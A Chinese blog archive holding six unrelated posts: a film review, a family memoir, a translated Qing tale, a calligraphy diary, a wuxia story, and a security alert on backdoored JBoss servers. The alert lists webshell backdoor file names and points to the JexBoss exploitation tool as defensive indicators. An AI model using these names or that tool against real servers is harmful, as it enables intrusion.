作者: admin

  • 为《声之形》站队表态的人,并没有看懂这部电影

    在马东和许知远的对谈中,马东曾提及一个现象:随着移动互联技术的发展,发声的渠道被打开和扩大,过往沉默的大多数现在变成了喧嚣的大多数。正是这喧嚣的大多数所发出的声音,声音中所包含的选择偏好,让许知远感到焦虑。是否应该为此感到焦虑,不妨暂且搁置,顺着马东的观察往下,放大,你会发现这喧嚣的大多数的发声行为,有着某些固定模式。其中一种可大致概括为:在人声鼎沸的公共事件讨论中,迅速选择 “光明”“正义”“政治正确”的一方站队并表态,甚至衍生出一套在模糊繁琐的事件细节中迅速建构黑白对立的能力/操作手法。在我看来,这就算不是“民智未开”,至少也是“遗毒未清”。

    不幸的是,新近上映的日影佳作《声之形》,就在大小媒体上遭遇了颇为汹涌的黑白对立兼政治正确式抨击。虽说炮火猛烈,但归纳起来无非两种代入:1. 怎么能够为校园霸R行为给出如此美化的和解方式呢?!2. 怎么能够让本就因听力障碍而处于弱势的女主行为如此斯德哥尔摩?

    为《声之形》站队表态的人,并没有看懂这部电影

    如果你在这部电影里只看到了听力障碍,社交恐惧,斯德哥尔摩等等耳熟能详的病症;我只想说:恭喜,你多半也是社交网络人格综合症患者之一。

    理由很简单,目前读到的那些义愤填膺的文字,一律未能回答:声音是否是有形状的;如果有,声音的形状到底是什么样的?所有的抨击讨论都堆积在“声”上面,“形”被彻底地忽略掉了。试问,如果“形”如此不重要,为何原作者和导演都选择要如此命名呢?整部电影看完,只看到了病症,只看到了那些足以在社交媒体上发光发热的话题,却看不清看不到作品试图勾勒的声音的形状;这大概也只能被解释为一种眼疾。

    来,让我们顺一顺同样遭受了抨击的剧情和动机(此处请自行脑补黄执中老师的 “声之形”)。

    很多人在电影初始便已经将男主的行为定性为校园霸R,直至影片结束。但如果足够细心,在影片末尾,桥上告白中,男女主角的对话里都隐约提到了当时对彼此的懵懂好感。正是这种异性间的懵懂好感,在所谓的童年时期,是有可能表现为一种故意的针对的。当然,我并没有证据(也没有必要)去证明那一定不是霸R,而只是顺便强调这么一种可能性。真正的重点在于:对于有听力障碍的女主,无论是否遭遇霸R,却一定会因此遭遇孤立――――这种孤立,往往是来自同性的(影片中的呈现亦如是。并且,以个人经验来说,日剧日影日漫中所呈现的同性间霸R要远多于异性)。

    更应留意的是:在日本这样一个以“不给他人添麻烦”为尚的社会,女主自身难道不会(被规训到)觉得自己一直在给家人给同学添麻烦?难道不会因为想要避免麻烦,而放弃上学,放弃人际往来?难道不会很容易产生自我否定性的认同么?因此,对于患有听障的女主来说,她所需要面对的真正危机乃是在于被孤立后的自我封闭乃至自我否定。而作为情节层面的呼应,我们亦在影片中看到,女主在鼓足勇气想用对话本与同学交流失败后,彻底地退回了自己的世界;看到女主在认定是自己破坏了男主好不容易建立起的新朋友圈之后选择自杀;看到原来女主的妹妹和奶奶一直都有担心女主的自杀倾向。

    为什么还要设置霸R这样的极端化情节呢?一言以蔽之:剧情需要。只有这样才能让男主背负恶名;同样遭遇好友,同学的孤立乃至欺凌,让他以一个健全人的身体去体会一个听障人士所可能遭遇的种种区隔,而最终走向自我封闭。也只有这样,才能让他对女主的“被孤独”感同身受;如果少了这层铺垫,后面两人的和解才真是天外飞仙,莫名其妙。

    理清剧情和动机后,不难发现,整部电影真正想要讲述和呈现的恰恰是一段两人互为救赎的故事。年少时偶然事件种下的因,化作日后多年困住彼此的恶果。若不是电影开篇的那一支花火炸响,若没有后来种种的机缘涟漪,等待两人恐怕只能是各自无尽的沉沦。导演试图去探讨的,恐怕也正是在于:一种两人间的相互救赎是如何成为可能的?试想,如果导演只想呈现一种单向的救赎的话,那么剧情走向就应该是男主通过怎样积极主动的行为,最终融化打开了女主的内心,并收获爱情――这才是真正的斯德哥尔摩或霸道总裁路线――显然,剧中因背负恶名而自闭的男主是无法做到积极主动的。而影片的落点如果不是救赎而仅仅是爱情;那么请相信我,桥上的告白里面,你一定会听到dai-suki(大月亮)的发音。

    为《声之形》站队表态的人,并没有看懂这部电影

    好,剧作课就此打住。这里不得不提的是,有不少评论亦将《声之形》拿来与年初上映的《你的名字》来对比,并认为无论剧情还是画面,前者比后者大概差了不少。其实,《声之形》和《你的名字》不是同一类动画电影。非要简单区分的话,《声之形》是更偏宅男向的,《你的名字》则是偏CG向的。

    所谓宅男向,更准确的说法是指那种心思纤细敏感的宅男,他们愿意将自己宅的时光用来捕捉动漫人物一点一滴的心灵涟漪;而CG向的宅男们则更愿意在CG所构建的完美视觉世界里沦陷。这一点,从故事情节与画风上也能看出:《声之形》画风粗糙,甚至敢在 “群演”脸上贴上无数的x布条,但同时却对人物的脸部表情,手部动作有着极其细微的捕捉;《你的名字》则将每一祯画面都做到美轮美奂,情节上极尽千年一遇,一错千年的奇幻之风。《你的名字》会引领观者根据画面情节去感知,去想象并进入奇境之旅;而《声之形》则需要观者在感知之后,去揣摩,去捕捉人物内心的幽微,进而抵达“同情”(感同身受)――如果没有那些纤细到近乎于脆弱的一举一动加上近乎神迹的愿力加持,二人间的相互救赎亦是无法抵达的。恰恰是由于《声之形》通过情节铺设和画面剪辑精准地实现了对少男少女成长时心灵悸动毫发毕现的细腻刻写,而使得它应当被解读为真正意义上的(残酷)青春片。

    为《声之形》站队表态的人,并没有看懂这部电影

    回到方法论层面,一个惊人的巧合在于:同为近期上映的《敦刻尔克》和《声之形》其实都可看作是对当下媒体语言中标签化,站队化倾向的当头棒喝。

    就《声之形》而言,片中个体人物的遭遇与变化已足以构建出一个群体心理动力学的案例;而在《敦刻尔克》中,诺兰所实现的是可称为对微观历史的视觉书写――无独有偶,微观历史(Micro-history)一词首次出现就是被美国历史
    学家用于撰写1863年的盖蒂斯堡之战(Battle of Gettysburg)。如果对历史学(Historiography)稍有了解的话,就会知道视觉史学(Historiophoty)并不指向真实,也不指向还原;而是如克拉考尔所言那般指向模拟/模仿(Imitation)。也即,尽管诺兰在拍摄中做了许多布景和服饰上的还原,可是作为电影的《敦刻尔克》只能告诉我们:当时的战争可能/可以是什么样的。它所提供的,仅仅是一个想象和体验的切口。因此,它无法去宽恕,去治愈真正历经历史的人,更加无法赦免自身(作为历史的一种)。已发生的永远已发生,能否被看见或听到并不足以改变其一丝一毫。

    最后,一定会有人追问:声音的形状到底是怎样?我答:声音的形状是漫无边际的黑暗中一束摇弋不定的微光。

    你,信么?

    (本文原标题:《如果听不出声音的形状,大概也看不懂蒙德里安》)

  • 厨房与餐桌是最好的家庭教室

    看到朋友转发教育文章《厨房冷清的家庭,养不出幸福孩子》提到香港特首林郑月娥说孩子的三餐都是自己亲手打理的,工作家庭两不耽误。我想起小时候,所有的孩子都要帮忙家务,从洒扫庭除到洗米洗菜乃至洗锅碗瓢盆,一家人忙得不亦乐乎,边忙边玩,上桌吃饭时,特别热闹亢奋,尤其是一起擀面包饺子,各自寻宝互相嘲笑手上功夫,吃得兴致勃勃。

    厨房与餐桌是最好的家庭教室

    有朋友看我小说里都是吃喝,忍不住在小孩都已长大不再需要亦步亦趋地照顾后,才走进厨房,那一刻,全家都很兴奋,他们在网上分享过程与图片时,感染力特别强,彷佛观者也跟着一起幸福了。

    家家有本自己的经,我们家的家教,在餐桌上。而我真正深感幸福的时刻,却是父母一起在厨房里忙碌的样子,虽然不许小孩进去,远观也能沾染喜悦之情。而我最喜欢的厨房是美式的,家家户户孩子回家,都走厨房后门,即便是公寓也多半设计成入口即厨房,进门就可以看见忙碌中的妈妈,随时可以打牙祭。

    厨房与餐桌是最好的家庭教室台湾电影《饮食男女》剧照

    厨房,才是一家人凝聚的美好时光,身心健康也从这里开始。

    八岁那年,父亲刚从嘉义空军基地转花莲师专毕业后,被派至台北就任,我们住的宿舍离通化街很近,周末最大的娱乐,就是去看电影吃夜市。祖籍江西的父亲最爱吃牛肉面,一上桌便勺满大匙的辣油倒进汤碗里,我看着万分崇拜又羡慕,便也有样学样。父亲闪电拦下:“非常辣,你吃不下。”我坚持自己能吃辣,父亲慢悠悠地说:“你必须全部吃完,就可以放,汤也要喝干净。”

    我满头大汗地吃完了,一路静默地走回家,没吭气,眼角余光看见父亲的嘴角微笑,满嘴的辣,也不那么疼痛了。跟父亲吃饭,一直是让我犹有余温的记忆。

    若有人数落我母亲,为何教出这么倔强的女儿,见了人也不会喊,没礼貌。母亲会这样答复:“别惹我女儿,我都不敢惹她。”母亲是跟父亲私奔的千金小姐,开水都不会烧,厨房一直是父亲的地盘。她不敢惹我有很多原因,其中一项是疯狂采购塞满冰箱。

    上世纪的母亲,大都有饥饿恐惧症,家里冰箱永远挤得满满水泄不通。我经常一边清理冰箱一边数落母亲:“你知道什么都放冰箱的结果,空气不流通,等于没放在冰箱,东西更容易坏掉,最后丢掉的都是钱。菜市场这么近,有必要买这么多塞冰箱吗?”我若紧迫盯人地跟着母亲去菜市场,她总会跟熟悉的菜贩介绍:“这是我婆婆,今天不能买太多。”后来才发现,母亲多半因为不忍心,人家让买多少就买多少,经常扫光摊贩,也不管自己吃不吃得完。

    小时候有强迫症,八岁开始自己洗衣服,每天洗澡完一定全部换掉立即清洗,包括冬天的大衣。母亲说:“衣服都被你洗烂了!”

    我们似乎有各自不容逾越的毛病,只有吃,是共同语言。

    母亲若想跟我聊天,就会用砂锅煲满满的三杯鸡脚,两人在餐桌上边啃边八卦,扫光一整锅为止,这是最美好的交流方式,说什么都不会翻脸。也许正因为如此,在贵阳酒店里被大厨拉去厨房示范,我可以完全不经大脑思考,便能指挥出一锅被津津乐道的三杯鸡,单凭记忆与想象,其实大厨不知道,我从不做这道菜。

    厨房与餐桌是最好的家庭教室

    养我这样的小孩,非常不省心。过新年做新衣,母亲必须先问过我,即使她万分不乐意我的选择:“小孩子穿得灰不溜秋的,人家以为我不给你买衣服穿呢!”否则绝对不敢定制。有回,我终于要了黄色而不是深蓝或灰色:“要鹅黄色,刚出生的小鸡羽毛颜色。”我形容得很精准,即使只有11岁,我记得母亲表示:“你皮肤这么黑,穿黄色不好看。”我仍坚持要黄色,不是艳黄,是嫩黄。未料,大衣做好了,是俗艳得让我发疯的橘黄色。母亲坚持是“黄色”,我暴怒大吼:“你是大人,连黄色与橘色都分不清吗?”然后,我把自己关在房里三天,不吃不喝。

    我是八月早产儿,再加上母亲怀我时忽然对荤食过敏,闻到肉味便呕吐,几乎未进食,因此造成出生时营养不良,而我自己亦从小不吃鱼肉,经常进出医院,小学有一半以上的时间都在请假,有时不想上学便装病,蒙骗父亲上班时顺便帮我请假。有回父亲不直接拆穿,让我自己去学校请假,我说:“怕老师,不敢去请假。”

    父亲跳起来,拉着我直接走进教师办公室(我家就在学校后门的四合院),对着一屋子老师大吼:“说!哪个是你怕的?”吓得我抽抽嗒嗒地大哭后,父亲说:“你记住!这世界上没有你该害怕的人。”那年我只有八岁。

    我一直很感谢父母,从未针对我的烂成绩惩罚或恶声恶气,我拿着个位数的成绩单回家,母亲也只嘲笑了父亲:“自称才子养出的女儿,考试拿个位数。”

    厨房与餐桌是最好的家庭教室台湾电影《饮食男女》剧照

    我们家小孩最严重的规范,在餐桌上

    印象中,父母对我和弟弟的管教很松散,直到看了韩良露写的上升星座,才发现原来我的父母应该属于管教严厉的,才想起父亲最凶恶的一面。

    我们家餐桌摆盘位置,也属于强迫症的一种,绝对不容许随便放,每个人坐在自己的固定位置。父亲虽在餐桌上谈笑风生,却不许我们边吃边说话,尤其是口中有食物时,必须紧闭双唇且不能咀嚼出声,父亲会恶狠狠地说:“你不是猪,人要有人吃饭的样子,只有猪吃饭才会咋吧着嘴巴。”

    我与父母相处的时间极短暂,半世纪前的记忆,只剩下吃,以及暖暖的厨房。

  • 安全预警:JBoss 应用平台后门导致约320万服务器面临威胁 (附检测及利用工具)

    安全预警:JBoss 应用平台后门导致约320万服务器面临威胁 (附检测及利用工具)

    事件的起因在于近期勒索软件事件大量扩散引起了思科安全研究人员的注意,后经其安全研究人员调查分析发现,其中大量案例皆因攻击者利用JBoss Java应用平台存在的漏洞,入侵企业服务器,并将勒索软件散播至所有与服务器连接的客户端上。

    起因:SamSam勒索软件的大肆扩散

    SamSam勒索软件(也被称为Samas),该勒索软件于今年3月中旬被微软公司所发现。而在发现之时,FBI也对所有企业发出告警,关于该勒索软件可利用JBoss上的漏洞对企业的IT基础设备进行感染,提醒企业用户注意检测及防护。

    随后,英特尔和思科,也双双发布报告和技术分析,剖析该勒索软件作者的实现思路,而这显然证实了微软公司和FBI此前发现的可靠性。据分析,SamSam勒索软件的操纵者正是利用公共机构和私营机构中,运行在服务器上的旧版本JBoss平台的漏洞来实现入侵的。

    深入调查分析,发现更多被感染的服务器

    在经过上述初步调查后,思科对JBoss平台漏洞的存在率进行了深入研究调查。

    而从思科的研究表明,目前大约有320万Web服务器运行的是未更新的JBoss版本。利用获取到的部分利用后门后留下的文件,思科也可以扫描出这320万台服务器是否存在后门。

    基于本次搜索,确认了2100台已经被入侵的服务器,这些服务器运行在1600个不同的IP上。一般来说,如果在没发现的情况下,这些服务器就只能等待勒索者传递勒索软件payload,对其实施感染了。

    从被入侵的服务器的情况来看,这些服务器大部分属于学校、政府、航空公司等行业单位的。

    其他后门也陆续被发现

    除了文件被先前的SamSam勒索软件所感染时利用的后门,研究人员称他们还发现了其他“知名”的后门程序,如”mela,” “shellinvoker,” “jbossinvoker,” “zecmd,” “cmd,” “genesis,” “sh3ll” and possibly “Inovkermngrt” 以及“jbot”等。以下为部分可疑后门文件列表,可供研究参考。

    jbossass.jsp jbossass_jsp.class shellinvoker.jsp shellinvoker_jsp.class mela.jsp mela_jsp.class zecmd.jsp zecmd_jsp.class cmd.jsp cmd_jsp.class wstats.jsp wstats_jsp.class idssvc.jsp idssvc_jsp.class iesvc.jsp iesvc_jsp.class

    这些后门的存在表明, SamSam勒索软件背后的操纵者并不是唯一知道并利用JBoss平台漏洞的攻击者。

    在发现这些威胁后,思科开始通知受影响的各方。而在众多的感染案例中,部分受影响的归属于学校的服务器上部署了由一家名为Fellot公司开发的图书馆管理系统(该系统名为“Destiny”,命运),用以对图书馆的资产进行管理,而其中JBoss作为应用平台进行支撑。在此次调查分析的过程中,思科得到了Fellot公司的大力支持,并与之一起完善解决方案。

    据称,Fellot运行着一个最令人印象深刻的修复系统,能够修复他们从版本9到版本13.5的所有系统版本,为他们的用户进行升级,避免JBoss漏洞被利用,甚至在用户的服务器上扫描跟“Destiny”系统无关联的文件,有效发现并清除用户服务器环境的可疑后门。

    后门检测及利用工具

    为了对系统文件进行检测,审查是否存在后门。思科通过一款名为JexBoss的开源渗透测试工具对后门的代码进行跟踪。工具下载地址为:GitHub(注意:检测程序内部可能存在后门,请大家小心分析使用!)

    安全预警:JBoss 应用平台后门导致约320万服务器面临威胁 (附检测及利用工具)

    而后,随着他们的发现,美国计算机安全应急响应中心US-CERT发出了一项全球咨询建议,建议所有的应用系统管理员及时检查自身应用服务器,查看是否存在 webshell。

    *参考来源:softpediasecurityaffairstalosintel,FB小编troy编译,转载请注明来自1024rd黑客与极客(1024rd.COM)

  • 《我有碎碎念,你有三分钟吗》第 7 天

    下文译自袁枚【清】《子不语》卷十九

    《兔儿神》

    大清建朝之初,有某某,年少时便考取功名,任福建省的巡按御史。

    当地有一名叫胡天保的百姓,爱慕巡按大人的美貌,每每趁他升堂审案时,就在远处偷偷地打望。巡按察觉后心中狐疑,却又不知何故,问手下,也无人敢以实相告。

    不久之后,巡按前往其他地方巡视,胡天保竟然也悄悄跟随,提前潜伏在厕所中偷看巡按如厕。巡按发现后,更是生疑,令人将他召来审问。

    胡天保一开始还不肯供认,用刑之后才老实说道:“小人自从见到大人的美貌之后,心中无法忘怀。虽然明知大人就像月中的桂树一般,哪里是我们这样的凡鸟所能奢望停驻聚集的,但就是神魂颠倒,无法自控,才做出这等无礼冒犯之事。”

    巡按闻言大怒,下令将他打死在枯树之下。

    过了一个多月,当地有百姓梦见胡天保托言道:“我怀着无礼的心思,冒犯了贵人,死罪难免。但毕竟是出自一片爱心,错在一时痴迷,与寻常有意伤害他人者并不相同。所以阴间的官吏都只是笑我,嘲讽我,没有因此感到愤怒的。现如今还封我为兔儿神,专门管理人间男子喜欢男子的事情。你们可以为我立庙,招揽香火。”

    福建当地的风俗,本就有招喜欢的男子当干弟弟的这一说。听闻有兔儿神托梦的事情,百姓一时纷纷凑钱立庙,供奉上香,果然十分灵验。凡是想与喜欢的男子密约幽会而所求不得的男子,都自觉前往兔儿神庙祈祷。

    程鱼门说:“这个巡按肯定没读过《晏子春秋》中晏子劝齐景公不杀羽人的故事,所以下手太重了些。如果是狄伟人先生,就肯定不会那么做了。”

    相传狄伟人先生任编修时,也是年少貌美。有个少年车夫,特地到府上应聘,为先生推车。少年车夫做事勤勉谨慎,还不收工钱。先生也十分喜欢他。不久少年车夫病危,医生均束手无策,眼看着就要断气,于是把主人请至身边,说道:“小奴我就要死去,有句话不得不说。小奴此病,其实是因为思慕老爷的美貌而致的。”先生大笑,拍拍他肩膀道:“傻小子,既然有此心思,为何不早跟我说呢?”于是为他厚葬。

    原文:

    國初,禦史某年少科第,巡按福建。有胡天保者愛其貌美,每升輿坐堂,必伺而睨之。巡按心以爲疑,卒不解其故,胥吏亦不敢言。居無何,巡按巡他邑,胡竟偕往,陰伏廁所窺其臀。巡按愈疑,召問之。初猶不言,加以三木,乃雲:『實見大人美貌,心不能忘,明知天上桂,豈爲凡鳥所集,然神魂飄蕩,不覺無禮至此。』巡按大怒,斃其命于枯木之下。

    逾月,胡托夢于其裏人曰:『我以非禮之心幹犯貴人,死固當,然畢竟是一片愛心,一時癡想,與尋常害人者不同。冥間官吏俱笑我、揶揄我,無怒我者。今陰官封我爲兔兒神,專司人間男悅男之事,可爲我立廟招香火。』閩俗原爲聘男子爲契弟之說,聞裏人述夢中語,爭醵錢立廟。果靈驗如響。凡偷期密約,有所求而不得者,鹹往禱焉。

    程魚門曰:『此巡按未讀《晏子春秋》勸勿誅羽人事,故下手太重。若狄偉人先生頗不然。相傳先生爲編修時,年少貌美。有車夫某,亦少年,投身入府,爲先生推車,甚勤謹,與雇直錢,不受,先生亦愛之。未幾病危,諸醫不效,將斷氣矣,請主人至,曰:「奴既死,不得不言。奴之所以病至死者,爲愛爺貌美故也。」先生大笑,拍其肩曰:「癡奴子!果有此心,何不早說矣?」厚葬之。』

  • 来啊,练个字乐呵乐呵

    来啊,练个字乐呵乐呵

    每日一篇

    本人喜欢写字,每每手上有那么一张纸,就会被我写写画画一团糟,然后一扔了事。但不管是钢笔字还是毛笔字,终究是写得惨不忍睹,不忍直视。

    记得刚上小学那会儿,因为我是爸妈的第一个孩子,对于我的学习,他们会特别上心些。每天盯着我写字,而且是用粉笔在我家地上写,从屋门口写到屋里头,来来回回地写,写不好就打。

    要知道没上学前,我可是个皮大王,虽然我是个女孩子,可上树、打架、搞破坏是我的强项,我家3个孩子里,我挨打最多。

    就这样每天被父母管着,虽然心里一百个不愿意,但害怕被父母打,总算收了点脾性。字也是一笔一划,认认真真地在写,记得小学时写的毛笔字还被老师选出来贴在了学校过道的墙壁上。自己的字自己心里清楚,也只不过仅仅是写得认真而已,字写得真不怎么样。

    我小时候父母也没有那个意识,不像现在,家长为了培养孩子会去请专门的老师教。

    所以我仅仅只是喜欢写字而已,并没有受过专门的培训或练习。而且,我知道我这个人没有定性,根本定不下心来练毛笔字,再加上这么多年来忙着工作和家庭,根本就连毛笔的毛都没摸过。

    直到自己生了病,在家闲来无事,心想,我看看自己能不能静下心来练练毛笔字呢?也可以改改我这个急躁的坏毛病。

    爱好是最好的老师

    心想就行动,于是最先开始网购了“王羲之行书字帖”,这个是用水写的,无纸无墨就可以练书法,我想这个多好,省钱啊!遐想着,假以时日,自己不用花费多少银子,就能练得一手好字,我是不是很聪明啊!哈哈,瞧我这抠门样儿,想想,自己都要捂嘴笑。

    我每天都坐在桌前描啊描,心里乐呵得很。我自己也很奇怪,一拿起笔写,心里就笑开了花。咋回事?这不就是黑黑的方块字嘛,又不是花花草草的五颜六色,也不是漂亮的衣服,有啥好看的?可我就是喜欢啊,没办法,爱你没商量。原来,兴趣真的是最好的老师。

    写了一段时间的水写毛笔,感觉水写不能真正地练好字,因为水写会因为水的缘故,一个字写下去会慢慢地化开,让你不知道自己到底写得如何?还有行书的特点是行云流水,舒展有型,字体比较草。对于刚学毛笔的我不太适合。

    还没开始学会走,就想跑那是不可能的。于是我认真地比较了各个字体的特点,发现楷书中规中矩,棱角分明;行书行云流水,舒展有型;隶书蚕头燕尾,中正平和;草书狂放不拘,飞扬飘逸。

    我比较了一下,还是选择了适合我的楷书,于是又在网上买了欧楷整套书法练习套餐。

    每天铺好毡子,准备好笔墨,开始乐呵了。临摹了一段时间,觉得自己的横平竖直,一撇一捺像那么一回事了,就想自己写着看看,写出来一看,完全不是那么回事儿,和字帖上的字咋就差那么远呢?

    于是我开始找原因,一个字一个字的研究,一笔一划地比较。同样是一笔下去,差别在哪里呢?

    于是,我自己总结了一些写毛笔字时要注意的地方。

    1,逐字突破。不要心急,要一个字一个字地练,一笔一笔地抠,直到认为满意为止。

    2,意在字先。首先在写这个字前先仔细看字帖上的字,把字型的要点、结构和规律牢记心间。在提笔前先闭眼默想,然后再落笔在纸上。

    3,落实到细节。落在纸上的字和字帖比较,哪里没有写好?细到一点在田字格的哪个位置,一横要斜到什么地步。稍有差别,就和字帖相差十万八千里。

    4,反复练习,仔细琢磨。看到别人写得好的字就在心里默默地写,在手上写。看字的笔锋、形状,琢磨它好在哪里?

    比如我在练习写“有”字时,一横从左开始下笔,横要稍斜,左边低右边高。可要斜到什么位置,也是个讲究。首先一笔顿下去要在田字格的四分之一的左上方格子里的左下角三分之一处写下去,然后轻抬往右斜上去在田字格四分之一的右上方格子的中心略下方处收笔回抬。

    “有”字的一撇比较粗,撇也要略弯而不是直直地撇下去。

    “有”字下面的“月”也并不好写,我开始写时不是当中写得太宽就是里面的两横距离不对,竖勾也并不是直直地下去,而是快要勾的时候要稍往外拉拉再勾。

    为写好一个字可要好好琢磨,一横一竖,一撇一捺,都要恰到好处,稍有一点点偏差,字写得就会差很多。

    每天我都要写上一篇毛笔字,这好像成了习惯,不写就会心里痒痒。也由刚开始写时的手发抖、手腕痛到现在的渐渐习惯,虽然我现在的字离写得好还差得太远太远,但这又有什么关系呢?我想,只要坚持,总有一天我会写得像样一点。因为在练字的过程中,我得到了内心的满足,这才是最重要的,不是吗?

    我爱上了写毛笔字,横平竖直,一撇一捺。横平竖直间让我有了十分的信心,撇去了我的浮躁和焦虑,捺来了我的平静和安宁,勾来了我的快乐和追求。

    亲爱的伙伴们,这就是我练毛笔字的心得。来啊!伙伴们,都来练字吧,都在其中乐呵乐呵吧!

    来啊,练个字乐呵乐呵

    这可是我自己写的,没有临摹噢

  • 背影杀手白玉兰

    文:‖行者超      潘姑娘啊潘姑娘

    背影杀手白玉兰

    图片来自网络

    人间四月芳菲尽,山寺桃花始盛开。

    春的气息,带着淡淡的绿,浅浅的红,就连那低矮的茶树也冒出了嫩嫩的枝芽。

    每年的春茶,虽然价格比不上秋茶,但是满园的春色,开年以来的第一波活计,村里家家户户都开心,当那细细的枝芽簇拥在墨绿色的枝干,漫山遍野都是扭着细腰、蒙着面纱戴斗笠的采茶姑娘。

    在中国的闽南地带,有一个地方叫作安溪。

    这天,刚好是茶叶开采的第七天。在安溪的一个茶园里,一个怀胎的妇女正在采茶,突然感觉肚子疼,然后以迅雷不及掩耳的速度在茶园里产下了一名女婴,姑娘的娘亲看着粉红的脸蛋嘟嘟的嘴巴,觉得甚是怜人,便寄予灵巧聪明的寓意,取名为巧姑娘。

    她的出生是如此的猝不及防,在娘亲劳动时降生,虽然是普通得了不能在普通的降生,可是,有些人的命运,并不会因为出生而掩盖了所应有的光芒。

    巧姑娘虽名为巧姑娘,但姑娘却与巧字无任何关联。姑娘啊,确是有点愚笨,小时候人手不够,于是每家每户的孩子基本在七八岁的时候便会帮忙做茶叶,可是母亲让她把院子里晒干的茶叶拿进屋,她拿一次撒一次,每次走过的路都会留下点点的绿叶。茶叶忙碌的季节,一开始娘亲以及祖母还会让她出门上山采茶叶,可是每次上山笨笨的巧姑娘都会摔跤,就连一脚宽的小河流,她都会一头噗通进去,因而姑娘的娘亲从来不敢让她帮忙,怕一不小心把晒好的茶叶给撒了,怕一不小心把烘焙好的茶叶给掉到火炉里,怕一不小心把所有的茶叶都染上属于她自己的臭脚丫的味道……

    由于笨,所以一开始还会有孩子偶尔和她玩一下,但是回去一旦被家长知道,家长就会吓唬孩子说和巧姑娘玩自己也会变笨,所以渐渐的,村子里的孩子没有一个人和她玩。再加上爹娘对巧姑娘的笨耿耿于怀,原本笑意盎然的小脸蛋再也没有露出那两颗小小的虎牙,只是经常在夜幕降临的时候,抬头望着天空数星星。不小心指到了月亮奶奶,还会拍自己的嘴巴,嘴里念念叨“月亮奶奶恕罪,月亮奶奶恕罪,阿巧不是故意的”然后念完再露出那两颗小虎牙。似乎只有这个时候,巧姑娘才是巧姑娘,不是那个人人喊笨的笨姑娘。

    她就像一片孤叶,漂在茫茫的大海上没有人看见,虽然每天晚上都会望着天空,可是有时候阴天了,就看不到星星和月亮,她会难过,因为只有星星和月亮一直陪伴着小小的她,安抚着她小小的心灵。

    因为那些不怀好意的目光,那些不怀好意的示好,所以渐渐的也不再期待有孩子一起玩,一起闹。因为就是玩也都是别的孩子捉弄她,欺负她。

    背影杀手白玉兰

    图片来自网络

    夜深人静睡不着的时候,阿巧也曾自己怀疑自己的存在,究竟是为了什么,是为了某个宿命?还是为了一个不曾拥有的人生?翻来覆去后,便又沉入深深的梦境,至少在梦境里,阿巧是幸福的,有很多一起玩的孩子,还有疼爱自己的爹与娘。

    虽然童年是如此的糟糕,也没用像其他孩子一样快乐的童年,可就算如此,阿巧的容貌终究还是成为了梦家村的一个不可或缺的门面,虽未及笄,一头乌黑的发,一枝简单的发髻,一身粗布麻衣,便是一道赏心悦目的画。每天,阿巧都会从阿舅家经过去茶园里采摘茶叶,每天都会有很多的小伙子躲在阿舅家的篱笆后面偷偷看她。每次阿巧都会不好意思,她无法接受别人的目光,特别是那么多年轻小伙子的目光,所以只能一脸不悦的表情,可情人眼里出西施,年轻小伙子的眼里,阿巧就是连不悦,也是一种独特的美。

    闽地自古多怪杰,这天阿巧家里来了一个道长,道长看阿巧的五官虽然端正,可是那细细的柳叶眉下的迷人眼睛,透露着一股英气,道长深知此人绝非凡人,恰逢道长年事已高,欲收一名关门弟子,便请求阿巧的阿爹阿娘准许他着阿巧去山上做他的弟子。

    虽然阿巧的阿爹与阿娘心肠不坏,阿巧也长得如此美若天仙,可是阿巧从小的愚笨,让阿爹与阿娘伤透了心,便也希望阿巧能够灵巧机灵一点,于是便同意道长的要求,那一年,她十二岁,她随着道长师傅上了山,她曾经以为就这样了的人生,在她的道长师傅的到来彻底改变了。

    道长师傅武功高强,满腹经纶,早年因为心上的姑娘在他考取功名之时嫁作商人妇,虽功名在身,可伊人不在,遂看破红尘,后又遇其师傅,做了关门弟子,直至今日,再未踏入红尘。若非因年事已高,迫不得已需下山寻找传授衣钵的弟子,想必道长也不会下山,遇到这么一个美若天仙的愚笨弟子。

    巧姑娘虽然看起来愚笨,可早年的经历,让她不得不紧握每一次蜕变自己的机会,在每一次的蜕变中,阿巧忽然找到了自我,每一次武功的进阶,她都会从中找到一点属于自己的东西,再加上阿巧的勤奋以及资质,阿巧内心深处那个真实的自己,正在一步步苏醒。

    巧姑娘在道长师傅的教导下,慢慢走出了早年的阴影,找到了属于自己的那一份灵巧与聪慧,各方面进步都特别快,人也变得机巧灵活了起来。又因为她特别勤奋,每日卯时必会练功,每日道长师傅醒来的时候,都能看见阿巧满脸的汗珠,满地的枝叶…

    “阿巧,今日练的如何?”每日师傅醒来第一件事便是这句话。

    “师傅,徒儿觉得尚可。”

    “那酉时与为师切磋一番”

    于是在每天的酉时,你能看到道观满地的繁华落叶,然后有一个身穿白衣的身影飘过,所到之处,白兰花遍地。

    时间飞快,五年后。

    道长师傅去世。阿巧下山,她仍喜一袭白衣,留有一头乌黑长发,在江湖行走,却从来没有人见过她的真实面目,所到之处,遍地白兰,空气中伴有淡淡花香。虽未见其真面目,但那一身白衣黑发,却惹得江湖人人欲一睹容貌而后快。虽不知其面目,不知其姓氏,但江湖人还是赐予背影玉兰花之称号。

    女皇在位期间很多当官的私下打着匡扶李氏天下的旗号,伺机敛财,压榨贫苦百姓,实则中饱私囊,女皇对这些贪官污吏恨之入骨,但又无可奈何。

    女皇江山不稳,所以并未公开处理这些贪官污吏,天下这样的贪官不在少数,倘若公开处理,只怕这些贪官污吏狗急了跳墙,真的和那些要匡扶李氏天下的王公贵族联合起来,那么到那个时候,女皇殿下自己的皇位就真的不保了,但是这些贪官污吏又不能不置之不理。

    于是女皇殿下便私下偷偷招募江湖上惩善扬恶的侠士为她所用,用来处理那些贪官污吏,并赐予侠士身份,这些侠士平时大都是一些宫中不知名的各种小官,但私下是女皇陛下的杀手。

    巧姑娘出生于一个茶农家,自幼深知下层百姓的生活,所以非常痛恨那些欺压百姓的贪官污吏,于是便自动请缨,归入女王殿下的麾下。

    早年的勤学苦
    练加上本身的资质。巧姑娘的武功在当时招募的人中数一数二,又女扮男装露出秀气的脸蛋,出身又没有任何背景,因而深得女皇赏识。

    背影杀手白玉兰

    图片来自潘姑娘啊潘姑娘

    阿巧办事从不出差错,她从不用刀,每次以身后的一朵玉兰花封锁贪官的喉咙,从不让别人看到正脸,只能见到背影,故而那些贪官污吏都不知道是何人所杀。只是有一次差点失手了。在解决林家翰林学士性命之时,身后的玉兰花如往常一样飞出之时。

    “可否让我瞧瞧你的面目,莫要让我只能记住你的背影”一丝温柔的声音响起。

    “背影玉兰花,只因你只能记住满地的玉兰花以及那抹背影,切莫强人之所难。侠士,再会”还是那抹高傲清冷的身影,满地的白玉兰。

